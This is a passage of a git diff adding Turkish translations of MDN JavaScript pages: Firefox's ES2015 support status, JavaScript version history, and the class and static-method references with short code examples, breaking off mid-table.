id="Yeni_Math_fonksiyonlari">Yeni <code>Math</code> fonksiyonlari</h4> + +<ul> + <li>{{jsxref("Math.imul()")}} (<a href="/en-US/Firefox/Releases/20">Firefox 20</a>)</li> + <li>{{jsxref("Math.clz32()")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li> + <li>{{jsxref("Math.fround()")}} (<a href="/en-US/Firefox/Releases/26">Firefox 26</a>)</li> + <li>{{jsxref("Math.log10()")}}, {{jsxref("Math.log2()")}}, {{jsxref("Math.log1p()")}}, {{jsxref("Math.expm1()")}}, {{jsxref("Math.cosh()")}}, {{jsxref("Math.sinh()")}}, {{jsxref("Math.tanh()")}}, {{jsxref("Math.acosh()")}}, {{jsxref("Math.asinh()")}}, {{jsxref("Math.atanh()")}}, {{jsxref("Math.hypot()")}}, {{jsxref("Math.trunc()")}}, {{jsxref("Math.sign()")}}, {{jsxref("Math.cbrt()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li> +</ul> + +<h4 id="Number_nesnesine_yapilan_eklemeler"><code>Number</code> nesnesine yapilan eklemeler</h4> + +<ul> + <li>{{jsxref("Number.isNaN()")}} (<a href="/en-US/Firefox/Releases/16">Firefox 16</a>)</li> + <li>{{jsxref("Number.isFinite()")}} (<a href="/en-US/Firefox/Releases/16">Firefox 16</a>)</li> + <li>{{jsxref("Number.isInteger()")}} (<a href="/en-US/Firefox/Releases/16">Firefox 16</a>)</li> + <li>{{jsxref("Number.parseInt()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li> + <li>{{jsxref("Number.parseFloat()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li> + <li>{{jsxref("Number.EPSILON")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li> + <li>{{jsxref("Number.MAX_SAFE_INTEGER")}}, {{jsxref("Number.MIN_SAFE_INTEGER")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li> + <li>{{jsxref("Number.isSafeInteger()")}} (<a href="/en-US/Firefox/Releases/32">Firefox 32</a>)</li> +</ul> + +<h4 id="Object_nesnesine_yapilan_eklemeler"><code>Object</code> nesnesine yapilan eklemeler</h4> + +<ul> + <li>{{jsxref("Object.prototype.__proto__")}} standartlastirildi</li> + <li>{{jsxref("Object.is()")}} (<a href="/en-US/Firefox/Releases/22">Firefox 22</a>)</li> + <li>{{jsxref("Object.setPrototypeOf()")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li> + <li>{{jsxref("Object.assign()")}} (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li> + <li>{{jsxref("Object.getOwnPropertySymbols()")}} (<a href="/en-US/Firefox/Releases/33">Firefox 33</a>)</li> +</ul> + +<h4 id="Date_nesnesine_yapilan_eklemeler"><code>Date</code> nesnesine yapilan eklemeler</h4> + +<ul> + <li>{{jsxref("Date.prototype")}} is an ordinary object (<a href="/en-US/Firefox/Releases/41">Firefox 41</a>)</li> + <li>generic {{jsxref("Date.prototype.toString")}} (<a href="/en-US/Firefox/Releases/41">Firefox 41</a>)</li> +</ul> + +<h4 id="Yeni_Promise_nesnesi">Yeni <code>Promise</code> nesnesi</h4> + +<ul> + <li>{{jsxref("Promise")}} (<a href="/en-US/Firefox/Releases/24">Firefox 24</a>, <a href="/en-US/Firefox/Releases/29">Firefox 29</a> de standart olarak kullanima sunuldu)</li> +</ul> + +<h4 id="RegExp_nesnesine_yapilan_eklemeler"><code>RegExp</code> nesnesine yapilan eklemeler</h4> + +<ul> + <li>{{jsxref("RegExp")}} sticky (y) flag (<a href="/en-US/Firefox/Releases/3">Firefox 3</a>)</li> + <li>generic {{jsxref("RegExp.prototype.toString")}} (<a href="/en-US/Firefox/Releases/39">Firefox 39</a>)</li> +</ul> + +<h4 id="String_nesnesine_yapilan_eklemeler"><code>String</code> nesnesine yapilan eklemeler</h4> + +<ul> + <li>{{jsxref("String.fromCodePoint()")}} (<a href="/en-US/Firefox/Releases/29">Firefox 29</a>)</li> + <li>{{jsxref("String.prototype.codePointAt()")}} (<a href="/en-US/Firefox/Releases/29">Firefox 29</a>)</li> + <li>{{jsxref("String.prototype.startsWith()")}}, {{jsxref("String.prototype.endsWith()")}} (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>)</li> + <li>{{jsxref("String.prototype.includes()")}} (<a href="/en-US/Firefox/Releases/40">Firefox 40</a>) (formerly <code>String.prototype.contains()</code> (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>))</li> + <li>{{jsxref("String.prototype.repeat()")}} (<a href="/en-US/Firefox/Releases/24">Firefox 24</a>)</li> + <li>{{jsxref("String.prototype.normalize()")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li> + <li>{{jsxref("String.raw()")}} (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Unicode_code_point_escapes">\u{XXXXXX}</a> Unicode code point escapes (<a href="/en-US/Firefox/Releases/40">Firefox 40</a>)</li> +</ul> + +<h4 id="Yeni_Symbol_nesnesi">Yeni <code>Symbol</code> nesnesi</h4> + +<ul> + <li>{{jsxref("Symbol")}} (<a href="/en-US/Firefox/Releases/36">Firefox 36</a>)</li> + <li>{{jsxref("Symbol.iterator")}} (<a href="/en-US/Firefox/Releases/36">Firefox 36</a>)</li> + <li>{{jsxref("Symbol.for()")}} - global Symbol registry (<a href="/en-US/Firefox/Releases/36">Firefox 36</a>)</li> + <li>{{jsxref("Symbol.match")}} (<a href="/en-US/Firefox/Releases/40">Firefox 40</a>)</li> + <li>{{jsxref("Symbol.species")}} (<a href="/en-US/Firefox/Releases/41">Firefox 41</a>)</li> +</ul> + +<h4 id="Tur_Dizileri">Tur Dizileri</h4> + +<p>Tur Dizileri, eskiden oldugu gibi kendi <a href="https://www.khronos.org/registry/typedarray/specs/latest/">stardarlarina </a>sahip olmak yeni, ECMAScript 2015 bir parcasi olarak standart halne getirildi</p> + +<ul> + <li>{{jsxref("ArrayBuffer")}}</li> + <li>{{jsxref("DataView")}}</li> + <li>{{jsxref("Int8Array")}}</li> + <li>{{jsxref("Uint8Array")}}</li> + <li>{{jsxref("Uint8ClampedArray")}}</li> + <li>{{jsxref("Int16Array")}}</li> + <li>{{jsxref("Uint16Array")}}</li> + <li>{{jsxref("Int32Array")}}</li> + <li>{{jsxref("Uint32Array")}}</li> + <li>{{jsxref("Float32Array")}}</li> + <li>{{jsxref("Float64Array")}}</li> +</ul> + +<h3 id="Ifadeler_ve_Islecler">Ifadeler ve Islecler</h3> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">Diziler icin Spread isleci</a> (<a href="/en-US/Firefox/Releases/16">Firefox 16</a>) + + <ul> + <li>use <code>Symbol.iterator</code> property (<a href="/en-US/Firefox/Releases/36">Firefox 36</a>)</li> + </ul> + </li> + <li><a href="/tr/docs/">Fonksiyon cagrilari icin Spread isleci</a> (<a href="/en-US/Firefox/Releases/27">Firefox 27</a>) + <ul> + <li>use <code>Symbol.iterator</code> property (<a href="/en-US/Firefox/Releases/36">Firefox 36</a>)</li> + </ul> + </li> +</ul> + +<h3 id="Bildiriler">Bildiriler</h3> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for...of</code></a> (<a href="/en-US/Firefox/Releases/13">Firefox 13</a>) + + <ul> + <li>works in terms of <code>.iterator()</code> and <code>.next()</code> (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>)</li> + <li>use <code>"@@iterator"</code> property (<a href="/en-US/Firefox/Releases/27">Firefox 27</a>)</li> + <li>use <code>Symbol.iterator</code> property (<a href="/en-US/Firefox/Releases/36">Firefox 36</a>)</li> + </ul> + </li> +</ul> + +<h3 id="Fonksiyonlar">Fonksiyonlar</h3> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/rest_parameters">Rest parameters</a> (<a href="/en-US/Firefox/Releases/15">Firefox 15</a>)</li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/default_parameters">Default parameters</a> (<a href="/en-US/Firefox/Releases/15">Firefox 15</a>) + <ul> + <li>Parameters without defaults after default parameters (<a href="/en-US/Firefox/Releases/26">Firefox 26</a>)</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters#Destructured_parameter_with_default_value_assignment" title="Default function parameters allow formal parameters to be initialized with default values if no value or undefined is passed.">Destructured parameters with default value assignment</a> (<a href="/en-US/Firefox/Releases/41">Firefox 41</a>)</li> + </ul> + </li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/arrow_functions">Arrow functions</a> (<a href="/en-US/Firefox/Releases/22">Firefox 22</a>)</li> + <li>{{jsxref("Statements/function*", "Generator function")}} (<a href="/en-US/Firefox/Releases/26">Firefox 26</a>) + <ul> + <li>{{jsxref("Operators/yield", "yield")}} (<a href="/en-US/Firefox/Releases/26">Firefox 26</a>)</li> + <li>{{jsxref("Operators/yield*", "yield*")}} (<a href="/en-US/Firefox/Releases/27">Firefox 27</a>)</li> + </ul> + </li> +</ul> + +<h3 id="Diger_Ozellikler">Diger Ozellikler</h3> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Numeric_literals">Binary and octal numeric literals</a> (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/template_strings">Template strings</a> (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#Property_definitions">Nesne tanimlayicilari: Ozellik isimleri kisayollari</a> (<a href="/en-US/Firefox/Releases/33">Firefox 33</a>)</li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#Computed_property_names">Nesne tanimlayicilari: Hesaplanmis Ozellik Isimleri</a> (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#Method_definitions">Nesne tanimlayicilari: Ozellik isimleri kisayollari</a> (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li> +</ul> + +<h2 id="ES2015_ile_tam_uyumlu_olmayan_ozellikler">ES2015 ile tam uyumlu olmayan ozellikler</h2> + +<p>Asagida belirtilen ozellikler Firefox da kismi olarak uyarlanmis olup, ES2015 standartlari ile tam uyum gostermemektedirler. Bunun sebebi Firefox' da ki uygulamalarin ES2015 in daha eski olan taslaklarini taban olrak kullanmis olmasi ya da Firefox' un soz konusu ozelligi, bu ozeligin ES2015 standartlarindan daha once deneme amacli olarak uygulamaya konulmasindan kaynakli olabilir.</p> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">Legacy iterators and generators</a> (<a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7">JS 1.7</a>, <a href="/en-US/Firefox/Releases/2">Firefox 2</a>) + + <ul> + <li>ES2015 iterators and generators Firefox 26+ da uygulamaya kondu.</li> + </ul> + </li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Destructuring assignment</a> (<a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7">JS 1.7</a>, <a href="/en-US/Firefox/Releases/2">Firefox 2</a>) (ES2015 compliance {{bug("950547")}})</li> + <li>{{jsxref("Statements/const", "const")}} (<a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.5">JS 1.5</a>, Firefox 1.0) (ES2015 compliance {{bug("950547")}})</li> + <li>{{jsxref("Statements/let", "let")}} (<a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7">JS 1.7</a>, <a href="/en-US/Firefox/Releases/2">Firefox 2</a>) (ES2015 compliance {{bug("950547")}})</li> + <li>{{jsxref("Proxy")}} (<a href="/en-US/Firefox/Releases/18">Firefox 18</a>) (ES2015 compliance {{bug("978228")}})</li> +</ul> + +<h2 id="Firefox_tarafindan_kismi_olarak_desteklenen_ozellikler">Firefox tarafindan kismi olarak desteklenen ozellikler</h2> + +<p>Bu ozellikler ES2015' in parcasi olmasina ragmen sadece bir kismi FireFox da desteklenmis ve su an itibari ile sadece <a href="https://nightly.mozilla.org/">nightly builds</a> vasitasiyla kullanima sunulmustur.</p> + +<h3 id="Yeni_class_yapisi">Yeni <code>class</code> yapisi</h3> + +<ul> + <li>Temel destek</li> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/extends">extends</a></code> destegi</li> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/static">static</a></code> methot tanimlamalari</li> +</ul> + +<h2 id="Firefox_tarafindan_henuz_desteklenmeyen_ozellikler">Firefox tarafindan henuz desteklenmeyen ozellikler</h2> + +<p>Asagidaki ozellikler ECMAScript 2015 standartlarinda yer almasina ragmen henuz Firefox tarafindan uygulanmaya konulmamistir..</p> + +<ul> + <li>Moduller(<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=568953">bug 568953</a>) + + <ul> + <li><code>import</code> syntax</li> + <li><code>export</code> syntax</li> + </ul> + </li> + <li>{{jsxref("Array.prototype.values()")}} ({{bug("875433")}})</li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Reflect"><code>Reflect</code></a> ({{bug("987514")}})</li> + <li>Bilinen semboller ({{bug("1119779")}})</li> + <li>RegExp "u" flag ({{bug("1135377")}})</li> +</ul> + +<h2 id="Ayrica_bkz">Ayrica bkz</h2> + +<ul> + <li><a href="http://wiki.ecmascript.org/doku.php?id=harmony:specification_drafts">ECMAScript 2015 ozellikleri taslaklari</a></li> + <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=694100">Mozilla ES2015 tracking bug</a></li> + <li><a href="https://kangax.github.io/compat-table/es6/">Tarayicilarin ECMAScript 2015 destegi</a> </li> +</ul> diff --git a/files/tr/web/javascript/new_in_javascript/index.html b/files/tr/web/javascript/new_in_javascript/index.html new file mode 100644 index 0000000000..ca3aac6ced --- /dev/null +++ b/files/tr/web/javascript/new_in_javascript/index.html @@ -0,0 +1,82 @@ +--- +title: New in JavaScript +slug: Web/JavaScript/New_in_JavaScript +tags: + - JavaScript + - NeedsTranslation + - TopicStub + - Versions +translation_of: Archive/Web/JavaScript/New_in_JavaScript +--- +<div>{{jsSidebar("New_in_JS")}}</div> + +<p>This chapter contains information about JavaScript's version history and implementation status for Mozilla/SpiderMonkey-based JavaScript applications, such as Firefox.</p> + +<h2 id="ECMAScript_versions">ECMAScript versions</h2> + +<dl> + <dt><a href="/en-US/docs/Web/JavaScript/Language_Resources">Language resources</a></dt> + <dd>Learn more about the ECMAScript standards on which the JavaScript language is based on.</dd> + <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla">ECMAScript 5 support</a></dt> + <dd>Implementation status for the current standard ECMA-262 Edition 5.1 in Mozilla-based engines and products.</dd> + <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla">ECMAScript 6 support</a></dt> + <dd>Implementation status for the draft ECMA-262 Edition 6 in Mozilla-based engines and products.</dd> + <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_7_support_in_Mozilla">ECMAScript 7 support</a></dt> + <dd>Implementation status for the upcoming ECMA-262 Edition 7 in Mozilla-based engines and products.</dd> +</dl> + +<h2 id="JavaScript_release_notes">JavaScript release notes</h2> + +<dl> + <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/Firefox_JavaScript_changelog">Firefox JavaScript changelog</a></dt> + <dd>See this changelog for JavaScript features implemented in Firefox 5 and later.</dd> + <dt>Chrome JavaScript changelog</dt> + <dd>(TODO). See this changelog for JavaScript features implemented in Chrome releases.</dd> +</dl> + +<h2 id="JavaScript_versions">JavaScript versions</h2> + +<p><strong>Deprecated</strong> ({{deprecated_inline()}}). The explicit versioning and opt-in of language features was Mozilla-specific and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=867609">is in process of being removed</a>. Firefox 4 was the last version which referred to an JavaScript version (1.8.5). With new ECMA standards, JavaScript language features are now often mentioned with their initial definition in ECMA-262 Editions such as Edition 6 (ES6).</p> + +<p>JavaScript was released as version 1.0 in March 1996 in Netscape Navigator 2.0 and Internet Explorer 2.0.</p> + +<dl> + <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.1">JavaScript 1.1</a></dt> + <dd>Version shipped in Netscape Navigator 3.0. Released on August 19, 1996.</dd> + <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.2">JavaScript 1.2</a></dt> + <dd>Version shipped in Netscape Navigator 4.0-4.05. Released on June 11, 1997.</dd> + <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.3">JavaScript 1.3</a></dt> + <dd>Version shipped in Netscape Navigator 4.06-4.7x. Released on October 19, 1998.<br> + Standardization work to be compliant with ECMA-262 1st and 2nd Edition.</dd> + <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.4">JavaScript 1.4</a></dt> + <dd>Version shipped in Netscape's server side JavaScript. Released in 1999.</dd> + <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.5">JavaScript 1.5</a></dt> + <dd>Version shipped in Netscape Navigator 6.0 and Firefox 1.0. Release on November 14, 2000.<br> + Standardization work to be compliant with ECMA-262 3rd Edition.</dd> + <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.6">JavaScript 1.6</a></dt> + <dd>Version shipped in Firefox 1.5. Released in November 2005.<br> + Includes ECMAScript for XML (E4X), new <code>Array</code> methods plus <code>String</code> and <code>Array</code> generics.</dd> + <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7">JavaScript 1.7</a></dt> + <dd>Version shipped in Firefox 2. Released in October 2006.<br> + Includes generators, iterators, array comprehensions, <code>let</code> expressions, and destructuring assignment.</dd> + <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.8">JavaScript 1.8</a></dt> + <dd>Version shipped in Firefox 3. Released in June 2008.<br> + Includes expression closures, generator expressions and <code>Array.reduce()</code></dd> + <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.8.1">JavaScript 1.8.1</a></dt> + <dd>Version shipped in Firefox 3.5. Released on <span class="st">June 30, 2009.<br> + Includes the TraceMonkey JIT and supports native JSON.</span></dd> + <dt>JavaScript 1.8.2</dt> + <dd>Version shipped in Firefox 3.6. Released June 22, 2009.<br> + Includes only minor changes.</dd> + <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.8.5">JavaScript 1.8.5</a></dt> + <dd>Version shipped in Firefox 4. Released July 27, 2010.<br> + Includes many new features for ECMA-262 Edition 5 compliance.<br> + This is the last JavaScript version.</dd> +</dl> + +<h2 id="Features_still_requiring_version_opt-in">Features still requiring version opt-in</h2> + +<dl> + <dt><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let"><code>let</code> statement</a></dt> + <dd>The <code>let</code> statement requires the JavaScript version 1.7 (or higher) opt-in. See {{bug(932517)}} and {{bug(932513)}}.</dd> +</dl> diff --git a/files/tr/web/javascript/reference/classes/index.html b/files/tr/web/javascript/reference/classes/index.html new file mode 100644 index 0000000000..77a29ab167 --- /dev/null +++ b/files/tr/web/javascript/reference/classes/index.html @@ -0,0 +1,276 @@ +--- +title: Classes +slug: Web/JavaScript/Reference/Classes +tags: + - Classes + - Constructors + - ECMAScript6 + - Inheritance + - Intermediate + - JavaScript + - Kalıtım + - NeedsTranslation + - TopicStub + - sınıf +translation_of: Web/JavaScript/Reference/Classes +--- +<div>{{JsSidebar("Classes")}}</div> + +<p id="ECMAScript_2015_ile_tanıtılan_Javascript_sınıfları_aslında_halihazırdaki_prototype_temelli_kalıtımın_sözdizi_daha_kolaylaştırılmış_halidir._Class_sözdizimi_yeni_bir_nesne_tabanlı_Javascript_modeli_sunmamaktadır.">ECMAScript 2015 ile tanıtılan Javascript sınıfları, aslında halihazırdaki prototype temelli kalıtımın, sözdizi daha kolaylaştırılmış halidir. Class sözdizimi yeni bir nesne tabanlı Javascript modeli <u>sunmamaktadır</u>.</p> + +<h2 id="Sınıf_tanımlama">Sınıf tanımlama</h2> + +<p><br> + Aslında sınıflar class oluşturmak için kullanılan özel <a href="/tr/docs/Web/JavaScript/Reference/Functions">fonksiyonlar</a>dır. Javascript sınıfları <a href="/tr/docs/Web/JavaScript/Reference/Operators/function">klasik fonksiyon tanımladığınız</a> gibi tanımlayabilir veya fonksiyonlar ile yapabildiğiniz gibi bir <a href="/tr/docs/Web/JavaScript/Reference/Statements/class">değişkene atayabilirsiniz</a>.</p> + +<h3 id="Sınıf_Tanımları">Sınıf Tanımları</h3> + +<p>Bir sınıf tanımlamanın bir yolu <code>class</code> ifadesini sınıf adınızla birlikte kullanmaktır. (Örn: Dikdortgen)</p> + +<pre class="brush: js">class Dikdortgen { + constructor(yukseklik, genislik) { + this.yukseklik = yukseklik; + this.genislik = genislik; + } +}</pre> + +<h4 id="Erişim">Erişim</h4> + +<p>Sınıf tanımları ve fonksiyon tanımları arasındaki önemli bir fark, fonksiyonlara tanımlandığı satırdan önce {{Glossary("Hoisting", "erişim sağlanabilir")}}. Sınıflara tanımlandığı satırdan önce erişilemezler. Önce sınıfları tanımlamanız ve ardından ona erişmeniz gerekir. Aksi halde aşağıdakine benzer bir hatayla karşılaşırsınız. {{jsxref("ReferenceError")}}:</p> + +<pre class="brush: js example-bad">var p = new Galeri(); // ReferenceError + +class Galeri {} +</pre> + +<h3 id="Class_expressions">Class expressions</h3> + +<p>Bir class'ı tanımlamanın bir başka yolu ise <strong>"class"</strong> ifadesidir. Class ifadelerine isim verilebilir. İsimli olan bir class ifadesi class body'sinin localidir.</p> + +<p> </p> + +<pre class="brush: js">// isimsiz class +var Dikdortgen = class { + constructor(yukseklik, genislik) { + this.yukseklik= yukseklik; + this.genislik= genislik; + } +}; + +// isimli class +var Dikdortgen = class Dikdortgen { + constructor(yukseklik, genislik) { + this.yukseklik= yukseklik; + this.genislik= genislik; + } +}; +</pre> + +<h2 id="Class_body_and_method_definitions">Class body and method definitions</h2> + +<p>The body of a class is the part that is in curly brackets <code>{}</code>. This is where you define class members, such as methods or constructors.</p> + +<h3 id="Strict_mode">Strict mode</h3> + +<p>The bodies of <em>class declarations</em> and <em>class expressions</em> are executed in <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>.</p> + +<h3 id="Constructor">Constructor</h3> + +<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/constructor">constructor</a></code> method is a special method for creating and initializing an object created with a <code>class</code>. There can only be one special method with the name "constructor" in a class. A {{jsxref("SyntaxError")}} will be thrown if the class contains more than one occurrence of a <code>constructor</code> method.</p> + +<p>A constructor can use the <code>super</code> keyword to call the constructor of a parent class.</p> + +<h3 id="Prototype_methods">Prototype methods</h3> + +<p>See also <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definitions</a>.</p> + +<pre class="brush: js">class Polygon { + constructor(height, width) { + this.height = height; + this.width = width; + } + + get area() { + return this.calcArea(); + } + + calcArea() { + return this.height * this.width; + } +}</pre> + +<h3 id="Static_methods">Static methods</h3> + +<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/static">static</a></code> keyword defines a static method for a class. Static methods are called without <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript#The_object_(class_instance)" title='An example of class instance is "var john = new Person();"'>instantiating </a>their class and are also <strong>not </strong>callable when the class is instantiated. Static methods are often used to create utility functions for an application.</p> + +<pre class="brush: js">class Point { + constructor(x, y) { + this.x = x; + this.y = y; + } + + static distance(a, b) { + const dx = a.x - b.x; + const dy = a.y - b.y; + + return Math.sqrt(dx*dx + dy*dy); + } +} + +const p1 = new Point(5, 5); +const p2 = new Point(10, 10); + +console.log(Point.distance(p1, p2));</pre> + +<h2 id="Sub_classing_with_extends">Sub classing with <code>extends</code></h2> + +<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/extends">extends</a></code> keyword is used in <em>class declarations</em> or <em>class expressions</em> to create a class as a child of another class.</p> + +<pre class="brush: js">class Animal { + constructor(name) { + this.name = name; + } + + speak() { + console.log(this.name + ' makes a noise.'); + } +} + +class Dog extends Animal { + speak() { + console.log(this.name + ' barks.'); + } +} +</pre> + +<h2 id="Super_class_calls_with_super">Super class calls with <code>super</code></h2> + +<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super</a></code> keyword is used to call functions on an object's parent.</p> + +<pre class="brush: js">class Cat { + constructor(name) { + this.name = name; + } + + speak() { + console.log(this.name + ' makes a noise.'); + } +} + +class Lion extends Cat { + speak() { + super.speak(); + console.log(this.name + ' roars.'); + } +} +</pre> + +<h2 id="Mix-ins">Mix-ins</h2> + +<p>Abstract subclasses or <em>mix-ins</em> are templates for classes. An ECMAScript class can only have a single superclass, so multiple inheritance from tooling classes, for example, is not possible. The functionality must be provided by the superclass.</p> + +<p>A function with a superclass as input and a subclass extending that superclass as output can be used to implement mix-ins in ECMAScript:</p> + +<pre class="brush: js">var CalculatorMixin = Base => class extends Base { + calc() { } +}; + +var RandomizerMixin = Base => class extends Base { + randomize() { } +}; +</pre> + +<p>A class that uses these mix-ins can then be written like this:</p> + +<pre class="brush: js">class Foo { } +class Bar extends CalculatorMixin(RandomizerMixin(Foo)) { }</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-class-definitions', 'Class definitions')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Edge</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(42.0)}}<sup>[1]</sup><br> + {{CompatChrome(49.0)}}</td> + <td>45</td> + <td>13</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatSafari(9.0)}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>45</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>9</td> + <td>{{CompatChrome(42.0)}}<sup>[1]</sup><br> + {{CompatChrome(49.0)}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Requires strict mode. Non-strict mode support is behind the flag "Enable Experimental JavaScript", disabled by default.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Functions</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li> + <li>{{jsxref("Operators/super", "super")}}</li> + <li><a href="https://hacks.mozilla.org/2015/07/es6-in-depth-classes/">Blog post: "ES6 In Depth: Classes"</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/classes/static/index.html b/files/tr/web/javascript/reference/classes/static/index.html new file mode 100644 index 0000000000..2214e7e227 --- /dev/null +++ b/files/tr/web/javascript/reference/classes/static/index.html @@ -0,0 +1,127 @@ +--- +title: static +slug: Web/JavaScript/Reference/Classes/static +tags: + - metod + - statik + - sınıf + - tanım +translation_of: Web/JavaScript/Reference/Classes/static +--- +<div>{{jsSidebar("Classes")}}</div> + +<p><strong>static </strong>anahtar kelimesi, bir sınıf için statik bir metod tanımlar.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">static metodAdi() { ... }</pre> + +<h2 id="Description">Description</h2> + +<p>Statik metodlar, kendi sınıfları gerçeklenmeden çağırılır ve aynı zamanda sınıf gerçeklendiği anda çağrılabilir olma özelliklerini yitirirler. Statik metodlar, bir uygulama için yardımcı fonksiyonlar tanımlamak için kullanılırlar.</p> + +<h2 id="Examples">Examples</h2> + +<p>Aşağıdaki örnek, bir statik metodun sınıfa nasıl entegre edildiğini ve statik metodu olan başka bir sınıfın onun içerisinde nasıl kullanıldığını gösteriyor. Son olarak, statik bir metodun nasıl çağırıldığını ve çağrılma özelliğini nasıl yitirdiğini gösteriyor. </p> + +<pre class="brush: js">class Triple { + static triple(n) { + n = n || 1; //should not be a bitwise operation + return n * 3; + } +} + +class BiggerTriple extends Triple { + static triple(n) { + return super.triple(n) * super.triple(n); + } +} + +console.log(Triple.triple()); // 3 +console.log(Triple.triple(6)); // 18 +console.log(BiggerTriple.triple(3)); // 81 +var tp = new Triple(); +console.log(BiggerTriple.triple(3)); // 81 (not affected by parent's instantiation) +console.log(tp.triple()); // 'tp.triple is not a function'.</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th 